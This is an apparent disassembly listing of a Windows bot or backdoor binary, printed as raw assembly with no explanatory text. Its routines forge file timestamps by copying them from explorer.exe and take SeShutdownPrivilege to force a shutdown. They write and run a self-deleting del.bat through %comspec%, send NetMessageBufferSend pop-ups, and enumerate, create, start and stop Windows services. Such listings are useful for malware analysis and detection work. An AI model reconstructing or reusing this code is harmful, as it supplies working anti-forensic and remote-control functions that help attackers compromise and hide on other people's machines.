		sub	esp, 11Ch
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_11C]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aExplorer_exe ; "explorer.exe"
		push	esi
		call	dword_4CB030
		test	eax, eax
		jz	short loc_418332
		mov	edi, 80h
		push	esi
		push	edi
		push	3
		push	esi
		mov	esi, dword_4270EC
		push	1
		lea	eax, [ebp+var_11C]
		push	80000000h
		push	eax
		call	esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_418332
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		nop
		call	near ptr 2800000h
		push	ebx
		mov	ebx, dword_427068
		call	ebx
		push	0
		push	edi
		push	3
		push	0
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	esi
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_418332
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		nop
		call	near ptr 27F07AEh
		push	esi
		call	ebx


loc_418332:				; CODE XREF: sub_418293+2Aj
					; sub_418293+51j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418293	endp


; =============== S U B	R O U T	I N E =======================================



sub_418337	proc near		; CODE XREF: sub_401ACD+16B1p
		push	1
		push	offset aSeshutdownpriv ; "SeShutdownPrivilege"
		call	sub_419651
		pop	ecx
		pop	ecx
		push	50005h
		push	6
		call	dword_4CAEB4
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
sub_418337	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418359	proc near		; CODE XREF: sub_401ACD+2754p
					; ___:0041686Bp

var_764		= byte ptr -764h
var_364		= byte ptr -364h
var_260		= byte ptr -260h
var_15C		= byte ptr -15Ch
var_58		= dword	ptr -58h
var_4C		= dword	ptr -4Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_14		= byte ptr -14h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	esi
		xor	esi, esi
		cmp	dword_429090, esi
		push	edi
		jz	short loc_41837D
		cmp	dword_4CB044, esi
		jnz	short loc_41837D
		push	esi
		call	sub_401000
		pop	ecx


loc_41837D:				; CODE XREF: sub_418359+13j
					; sub_418359+1Bj
		call	sub_40B2BF
		lea	eax, [ebp+var_764]
		push	eax
		push	400h
		nop
		call	near ptr 2690000h
		lea	eax, [ebp+var_764]
		push	eax
		lea	eax, [ebp+var_260]
		push	offset aSdel_bat ; "%sdel.bat"
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_260]
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		push	eax
		nop
		call	near ptr 26F09D7h
		mov	edi, eax
		cmp	edi, esi
		jbe	loc_4184DD
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset a@echoOffRepeat ; "@echo	off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		push	edi
		nop
		call	near ptr 26E0000h
		push	edi
		nop
		call	near ptr 26508ACh
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp+var_58]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 18h
		mov	[ebp+var_58], edi
		mov	edi, 104h
		lea	eax, [ebp+var_15C]
		push	edi
		push	eax
		push	esi
		mov	[ebp+var_4C], offset dword_43D128
		mov	[ebp+var_2C], 1
		mov	[ebp+var_28], si
		nop
		call	near ptr 2670DBEh
		push	eax
		nop
		call	near ptr 2660000h
		lea	eax, [ebp+var_15C]
		push	eax
		nop
		call	near ptr 2670CEEh
		cmp	eax, 0FFFFFFFFh
		jz	short loc_418485
		lea	eax, [ebp+var_15C]
		push	80h
		push	eax
		nop
		call	near ptr 2670BA6h


loc_418485:				; CODE XREF: sub_418359+118j
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_364]
		push	edi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	near ptr 2810000h
		nop
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	4008h
		push	1
		push	esi
		lea	eax, [ebp+var_364]
		push	esi
		push	eax
		push	esi
		nop
		call	near ptr 2650B82h


loc_4184DD:				; CODE XREF: sub_418359+72j
		pop	edi
		pop	esi
		leave
		retn
sub_418359	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4184E1	proc near		; CODE XREF: sub_401ACD+7232p

var_294		= byte ptr -294h
var_94		= dword	ptr -94h
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 294h
		push	edi
		xor	edi, edi
		push	94h
		lea	eax, [ebp+var_94]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		call	near ptr 26C060Eh
		nop
		cmp	[ebp+var_84], 2
		jnz	short loc_418577
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		call	dword_4CAEF4
		push	edi
		push	eax
		call	dword_4CAF04
		test	eax, eax
		jz	short loc_418569
		push	[ebp+arg_10]
		push	offset dword_438984


loc_418542:				; CODE XREF: sub_4184E1+94j
		lea	eax, [ebp+var_294]
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h
		jmp	short loc_4185A1
; ---------------------------------------------------------------------------


loc_418569:				; CODE XREF: sub_4184E1+57j
		nop
		call	near ptr 2670859h
		push	eax
		push	offset unk_43895C
		jmp	short loc_418542
; ---------------------------------------------------------------------------


loc_418577:				; CODE XREF: sub_4184E1+3Fj
		lea	eax, [ebp+var_294]
		push	offset unk_43892C
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 1Ch


loc_4185A1:				; CODE XREF: sub_4184E1+86j
		pop	edi
		leave
		retn
sub_4184E1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4185A4	proc near		; CODE XREF: sub_401ACD+55FEp

var_1C0		= byte ptr -1C0h
var_15C		= byte ptr -15Ch
var_F8		= byte ptr -0F8h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C0h
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		nop
		call	near ptr 26C060Eh
		cmp	[ebp+var_90], 4
		jnz	short loc_4185FA
		cmp	[ebp+var_8C], 0
		jnz	short loc_4185E3
		push	1
		pop	eax
		cmp	[ebp+var_84], eax
		jnz	short loc_4185FA
		leave
		retn
; ---------------------------------------------------------------------------


loc_4185E3:				; CODE XREF: sub_4185A4+30j
		cmp	[ebp+var_8C], 0Ah
		jz	short loc_4185F5
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_4185FA


loc_4185F5:				; CODE XREF: sub_4185A4+46j
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_4185FA:				; CODE XREF: sub_4185A4+27j
					; sub_4185A4+3Bj ...
		push	esi
		push	edi
		push	offset aNetapi32_dll ; "netapi32.dll"
		nop
		call	near ptr 2690AB1h
		mov	esi, eax
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	esi
		nop
		call	near ptr 26A0000h
		push	32h
		mov	edi, eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1C0]
		push	eax
		call	sub_41D834
		push	32h
		lea	eax, [ebp+var_15C]
		push	[ebp+arg_4]
		push	eax
		call	sub_41D834
		push	32h
		lea	eax, [ebp+var_F8]
		push	[ebp+arg_8]
		push	eax
		call	sub_41D834
		lea	eax, [ebp+var_F8]
		push	eax
		call	sub_41D817
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_F8]
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_1C0]
		push	eax
		push	0
		call	edi
		add	esp, 3Ch
		mov	edi, eax
		push	esi
		call	near ptr 278081Dh
		nop
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_4185A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418684	proc near		; CODE XREF: sub_40111D+F7p
					; ___:0040E6E2p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		nop
		call	near ptr 2680600h
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		fild	[ebp+var_4]
		sub	eax, esi
		mov	[ebp+arg_4], eax
		fimul	[ebp+arg_4]
		fmul	dbl_427700
		call	sub_41C798
		sub	esi, eax
		mov	eax, esi
		pop	esi
		leave
		retn
sub_418684	endp


; =============== S U B	R O U T	I N E =======================================



sub_4186C1	proc near		; CODE XREF: sub_401ACD:loc_406126p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_418719
		lea	esi, [eax+eax*2]
		push	0
		shl	esi, 2
		push	0
		push	dword_4389A8[esi]
		push	edi
		push	eax
		call	sub_41873B
		add	esp, 14h
		test	eax, eax
		jnz	short loc_418709
		push	edi
		push	off_4389A4[esi]
		push	offset unk_438AB8


loc_4186F9:				; CODE XREF: sub_4186C1+56j
		mov	esi, offset dword_4DAFF0
		push	esi
		call	sub_41B886
		add	esp, 10h
		jmp	short loc_418736
; ---------------------------------------------------------------------------


loc_418709:				; CODE XREF: sub_4186C1+2Aj
		push	eax
		call	sub_4187DD
		pop	ecx
		push	eax
		push	edi
		push	offset unk_438A8C
		jmp	short loc_4186F9
; ---------------------------------------------------------------------------


loc_418719:				; CODE XREF: sub_4186C1+Cj
		lea	eax, [eax+eax*2]
		mov	esi, offset dword_4DAFF0
		push	off_4389A0[eax*4]
		push	offset unk_438A68
		push	esi
		call	sub_41B886
		add	esp, 0Ch


loc_418736:				; CODE XREF: sub_4186C1+46j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_4186C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41873B	proc near		; CODE XREF: sub_4186C1+20p

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		call	dword_4CAF68
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_418762
		nop
		call	near ptr 2670859h
		mov	ebx, eax
		jmp	short loc_4187D7
; ---------------------------------------------------------------------------


loc_418762:				; CODE XREF: sub_41873B+1Bj
		push	esi
		push	0F01FFh
		push	[ebp+arg_4]
		push	edi
		call	dword_4CAE50
		mov	esi, eax
		cmp	esi, ebx
		jnz	short loc_418782
		nop
		call	near ptr 2670859h
		mov	ebx, eax
		jmp	short loc_4187CF
; ---------------------------------------------------------------------------


loc_418782:				; CODE XREF: sub_41873B+3Bj
		mov	eax, [ebp+arg_0]
		cmp	eax, 1
		jz	short loc_4187B5
		cmp	eax, 3
		jz	short loc_4187A6
		jle	short loc_4187C8
		cmp	eax, 6
		jg	short loc_4187C8
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_8]
		push	esi
		call	dword_4CAEBC
		jmp	short loc_4187BC
; ---------------------------------------------------------------------------


loc_4187A6:				; CODE XREF: sub_41873B+52j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	esi
		call	dword_4CAE58
		jmp	short loc_4187BC
; ---------------------------------------------------------------------------


loc_4187B5:				; CODE XREF: sub_41873B+4Dj
		push	esi
		call	dword_4CAEC0


loc_4187BC:				; CODE XREF: sub_41873B+69j
					; sub_41873B+78j
		test	eax, eax
		jnz	short loc_4187C8
		nop
		call	near ptr 2670859h
		mov	ebx, eax


loc_4187C8:				; CODE XREF: sub_41873B+54j
					; sub_41873B+59j ...
		push	esi
		call	dword_4CAE6C


loc_4187CF:				; CODE XREF: sub_41873B+45j
		push	edi
		call	dword_4CAE6C
		pop	esi


loc_4187D7:				; CODE XREF: sub_41873B+25j
		mov	eax, ebx
		pop	edi
		pop	ebx
		leave
		retn
sub_41873B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4187DD	proc near		; CODE XREF: sub_4186C1+49p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 420h
		cmp	eax, ecx
		ja	loc_418892
		jz	loc_41888B
		add	ecx, 0FFFFFFFBh
		cmp	eax, ecx
		ja	short loc_418855
		jz	short loc_41884B
		mov	ecx, eax
		sub	ecx, 3
		jz	short loc_418841
		dec	ecx
		dec	ecx
		jz	short loc_418837
		dec	ecx
		jz	short loc_41882D
		sub	ecx, 51h
		jz	short loc_418823
		sub	ecx, 24h
		jnz	loc_418908	; default
					; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
		push	offset aTheSpecifiedSe ; "The specified	service	name is	invalid."
		jmp	loc_4188FA
; ---------------------------------------------------------------------------


loc_418823:				; CODE XREF: sub_4187DD+31j
		push	offset aTheRequestedCo ; "The requested	control	code is	undefined"...
		jmp	loc_4188FA
; ---------------------------------------------------------------------------


loc_41882D:				; CODE XREF: sub_4187DD+2Cj
		push	offset aTheHandleIsInv ; "The handle is	invalid."
		jmp	loc_4188FA
; ---------------------------------------------------------------------------


loc_418837:				; CODE XREF: sub_4187DD+29j
		push	offset aTheHandleDoesN ; "The handle does not have the required	a"...
		jmp	loc_4188FA
; ---------------------------------------------------------------------------


loc_418841:				; CODE XREF: sub_4187DD+25j
		push	offset aTheServiceBina ; "The service binary file could	not be fo"...
		jmp	loc_4188FA
; ---------------------------------------------------------------------------


loc_41884B:				; CODE XREF: sub_4187DD+1Ej
		push	offset aTheServiceCann ; "The service cannot be	stopped	because	o"...
		jmp	loc_4188FA
; ---------------------------------------------------------------------------


loc_418855:				; CODE XREF: sub_4187DD+1Cj
		mov	ecx, eax
		sub	ecx, 41Ch
		jz	short loc_418884
		dec	ecx
		jz	short loc_41887D
		dec	ecx
		jz	short loc_418876
		dec	ecx
		jnz	loc_418908	; default
					; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
		push	offset aTheDatabaseIsL ; "The database is locked."
		jmp	loc_4188FA
; ---------------------------------------------------------------------------


loc_418876:				; CODE XREF: sub_4187DD+86j
		push	offset aAThreadCouldNo ; "A thread could not be	created	for the	s"...
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_41887D:				; CODE XREF: sub_4187DD+83j
		push	offset aTheProcessForT ; "The process for the service was started"...
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_418884:				; CODE XREF: sub_4187DD+80j
		push	offset aTheRequested_0 ; "The requested	control	code is	not valid"...
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_41888B:				; CODE XREF: sub_4187DD+11j
		push	offset aAnInstanceOfTh ; "An instance of the service is	already	r"...
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_418892:				; CODE XREF: sub_4187DD+Bj
		mov	ecx, 45Bh
		cmp	eax, ecx
		ja	short loc_418908 ; default
					; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
		jz	short loc_4188F5
		lea	ecx, [eax-422h]
		cmp	ecx, 11h	; switch 18 cases
		ja	short loc_418908 ; default
					; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
		movzx	ecx, byte_418949[ecx]
		jmp	off_418921[ecx*4] ; switch jump


loc_4188B6:				; DATA XREF: ___:off_418921o
		push	offset aTheSpecifiedDa ; jumptable 004188AF case 7
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_4188BD:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceDepe ; jumptable 004188AF case 17
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_4188C4:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceDe_0 ; jumptable 004188AF case 10
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_4188CB:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceHasB ; jumptable 004188AF case 0
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_4188D2:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheSpecified_0 ; jumptable 004188AF case 2
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_4188D9:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceCoul ; jumptable 004188AF case 11
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_4188E0:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceHa_0 ; jumptable 004188AF case 14
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_4188E7:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheRequested_1 ; jumptable 004188AF case 3
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_4188EE:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceHasN ; jumptable 004188AF case 4
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_4188F5:				; CODE XREF: sub_4187DD+BEj
		push	offset aTheSystemIsShu ; "The system is	shutting down."


loc_4188FA:				; CODE XREF: sub_4187DD+41j
					; sub_4187DD+4Bj ...
		push	offset dword_4DA930
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	short loc_41891B
; ---------------------------------------------------------------------------


loc_418908:				; CODE XREF: sub_4187DD+36j
					; sub_4187DD+89j ...
		push	eax		; default
					; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
		push	offset aAnUnknownError ; "An unknown error occurred: <%ld>"
		push	offset dword_4DA930
		call	sub_41B886
		add	esp, 0Ch


loc_41891B:				; CODE XREF: sub_4187DD+129j
		mov	eax, offset dword_4DA930
		retn
sub_4187DD	endp

; ---------------------------------------------------------------------------
off_418921	dd offset loc_4188CB	; DATA XREF: sub_4187DD+D2r
		dd offset loc_4188D2	; jump table for switch	statement
		dd offset loc_4188E7
		dd offset loc_4188EE
		dd offset loc_4188B6
		dd offset loc_4188C4
		dd offset loc_4188D9
		dd offset loc_4188E0
		dd offset loc_4188BD
		dd offset loc_418908
byte_418949	db	0,     9,     1,     2 ; DATA XREF: sub_4187DD+CBr
		db	3,     9,     9,     4 ; indirect table	for switch statement
		db	9,     9,     5,     6
		db	9,     9,     7,     9
		db	9,     8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41895B	proc near		; CODE XREF: sub_401ACD+45D3p

var_38C		= byte ptr -38Ch
var_18C		= byte ptr -18Ch
var_188		= byte ptr -188h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 38Ch
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		mov	[ebp+var_8], ebx
		call	dword_4CAF68
		push	ebx
		mov	[ebp+var_C], eax
		push	[ebp+arg_8]
		push	offset aTheFollowingWi ; "The following	Windows	services are regi"...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_418993:				; CODE XREF: sub_41895B+120j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_18C]
		push	168h
		push	eax
		push	3
		push	30h
		push	[ebp+var_C]
		call	dword_4CAF34
		test	eax, eax
		jnz	short loc_4189CD
		call	near ptr 2670859h
		nop
		cmp	eax, 0EAh
		jnz	loc_418A81


loc_4189CD:				; CODE XREF: sub_41895B+5Fj
		xor	edi, edi
		cmp	[ebp+var_4], ebx
		jle	loc_418A78
		lea	esi, [ebp+var_188]


loc_4189DE:				; CODE XREF: sub_41895B+117j
		mov	eax, [esi+8]
		dec	eax
		jz	short loc_418A27
		dec	eax
		jz	short loc_418A20
		dec	eax
		jz	short loc_418A19
		dec	eax
		jz	short loc_418A12
		dec	eax
		jz	short loc_418A0B
		dec	eax
		jz	short loc_418A04
		dec	eax
		jz	short loc_4189FD
		push	offset aUnknown_0 ; "	 Unknown"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------


loc_4189FD:				; CODE XREF: sub_41895B+99j
		push	offset aPaused_0 ; "	 Paused"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------


loc_418A04:				; CODE XREF: sub_41895B+96j
		push	offset aPausing	; "    Pausing"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------


loc_418A0B:				; CODE XREF: sub_41895B+93j
		push	offset aContinuing ; " Continuing"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------


loc_418A12:				; CODE XREF: sub_41895B+90j
		push	offset aRunning	; "    Running"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------


loc_418A19:				; CODE XREF: sub_41895B+8Dj
		push	offset aStoping	; "    Stoping"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------


loc_418A20:				; CODE XREF: sub_41895B+8Aj
		push	offset aStarting ; "   Starting"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------


loc_418A27:				; CODE XREF: sub_41895B+87j
		push	offset aStopped	; "    Stopped"


loc_418A2C:				; CODE XREF: sub_41895B+A0j
					; sub_41895B+A7j ...
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_20]
		pop	ecx
		push	dword ptr [esi]
		push	dword ptr [esi-4]
		push	eax
		lea	eax, [ebp+var_38C]
		push	offset aSSS	; "%s: %s (%s)"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_38C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 28h
		inc	edi
		add	esi, 24h
		cmp	edi, [ebp+var_4]
		jl	loc_4189DE


loc_418A78:				; CODE XREF: sub_41895B+77j
		cmp	[ebp+var_8], ebx
		jnz	loc_418993


loc_418A81:				; CODE XREF: sub_41895B+6Cj
		push	[ebp+var_C]
		call	dword_4CAE6C
		xor	eax, eax
		pop	edi
		cmp	eax, [ebp+var_4]
		pop	esi
		pop	ebx
		sbb	eax, eax
		neg	eax
		leave
		retn
sub_41895B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418A98	proc near		; CODE XREF: sub_401ACD:loc_406166p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		test	edi, edi
		jz	loc_418B32
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, 0
		jz	short loc_418AC1
		dec	eax
		jnz	short loc_418B12
		push	edi
		push	0
		call	sub_418C6B
		pop	ecx
		pop	ecx
		jmp	short loc_418B0E
; ---------------------------------------------------------------------------


loc_418AC1:				; CODE XREF: sub_418A98+18j
		cmp	[ebp+arg_8], 0
		jnz	short loc_418B00
		push	24h
		push	edi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_418B00
		push	57h
		pop	eax


loc_418AD8:				; CODE XREF: sub_418A98+78j
		push	eax
		call	sub_41945F
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4DABEC
		push	off_4389A0[eax*4]
		push	offset unk_43904C
		push	esi
		call	sub_41B886
		add	esp, 14h
		jmp	short loc_418B52
; ---------------------------------------------------------------------------


loc_418B00:				; CODE XREF: sub_418A98+2Dj
					; sub_418A98+3Bj
		push	[ebp+arg_8]
		push	edi
		push	0
		call	sub_418BBF
		add	esp, 0Ch


loc_418B0E:				; CODE XREF: sub_418A98+27j
		test	eax, eax
		jnz	short loc_418AD8


loc_418B12:				; CODE XREF: sub_418A98+1Bj
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4DABEC
		push	off_4389A4[eax*4]
		push	offset dword_439030
		push	esi
		call	sub_41B886
		add	esp, 10h
		jmp	short loc_418B52
; ---------------------------------------------------------------------------


loc_418B32:				; CODE XREF: sub_418A98+Aj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4DABEC
		lea	eax, [eax+eax*2]
		push	off_4389A0[eax*4]
		push	offset unk_43900C
		push	esi
		call	sub_41B886
		add	esp, 0Ch


loc_418B52:				; CODE XREF: sub_418A98+66j
					; sub_418A98+98j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_418A98	endp


; =============== S U B	R O U T	I N E =======================================



sub_418B58	proc near		; CODE XREF: sub_419E79+245p

arg_0		= dword	ptr  4
arg_C		= dword	ptr  10h

		push	esi
		xor	esi, esi
		cmp	[esp+4+arg_0], esi
		jnz	short loc_418B65
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_418B65:				; CODE XREF: sub_418B58+7j
		push	ebx
		push	ebp
		push	edi
		push	esi
		push	esi
		push	esi
		mov	edi, dword_42717C
		push	esi
		push	0FFFFFFFFh
		mov	ebx, 400h
		push	[esp+24h+arg_0]
		push	ebx
		push	esi
		call	edi
		test	byte_4DADEC, 1
		mov	ebp, eax
		jnz	short loc_418BA2
		or	byte_4DADEC, 1
		lea	eax, [ebp+1]
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	dword_4DAB8C, eax


loc_418BA2:				; CODE XREF: sub_418B58+32j
		push	esi
		push	esi
		push	ebp
		push	dword_4DAB8C
		push	0FFFFFFFFh
		push	[esp+18h+arg_C]
		push	ebx
		push	esi
		call	edi
		mov	eax, dword_4DAB8C
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		retn
sub_418B58	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418BBF	proc near		; CODE XREF: sub_418A98+6Ep
					; sub_41A19D+18Ap ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	edi
		push	[ebp+arg_0]
		call	sub_418C2A
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_418C2A
		push	24h
		mov	[ebp+var_20], eax
		push	[ebp+arg_4]
		call	sub_41BFB0
		push	[ebp+arg_8]
		mov	[ebp+var_14], 7Fh
		neg	eax
		sbb	eax, eax
		and	[ebp+var_18], 0
		or	[ebp+var_10], 0FFFFFFFFh
		and	[ebp+var_C], 0
		and	eax, 80000000h
		mov	[ebp+var_1C], eax
		call	sub_418C2A
		add	esp, 14h
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	2
		push	edi
		call	dword_4CAE68
		pop	edi
		leave
		retn
sub_418BBF	endp


; =============== S U B	R O U T	I N E =======================================



sub_418C2A	proc near		; CODE XREF: sub_418BBF+Ap
					; sub_418BBF+14p ...

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		xor	eax, eax
		cmp	ebp, eax
		jnz	short loc_418C37
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_418C37:				; CODE XREF: sub_418C2A+9j
		push	ebx
		push	esi
		mov	esi, dword_427180
		push	edi
		push	eax
		push	eax
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	eax
		call	esi
		mov	edi, eax
		lea	eax, [edi+edi+2]
		push	eax
		call	sub_41CFC5
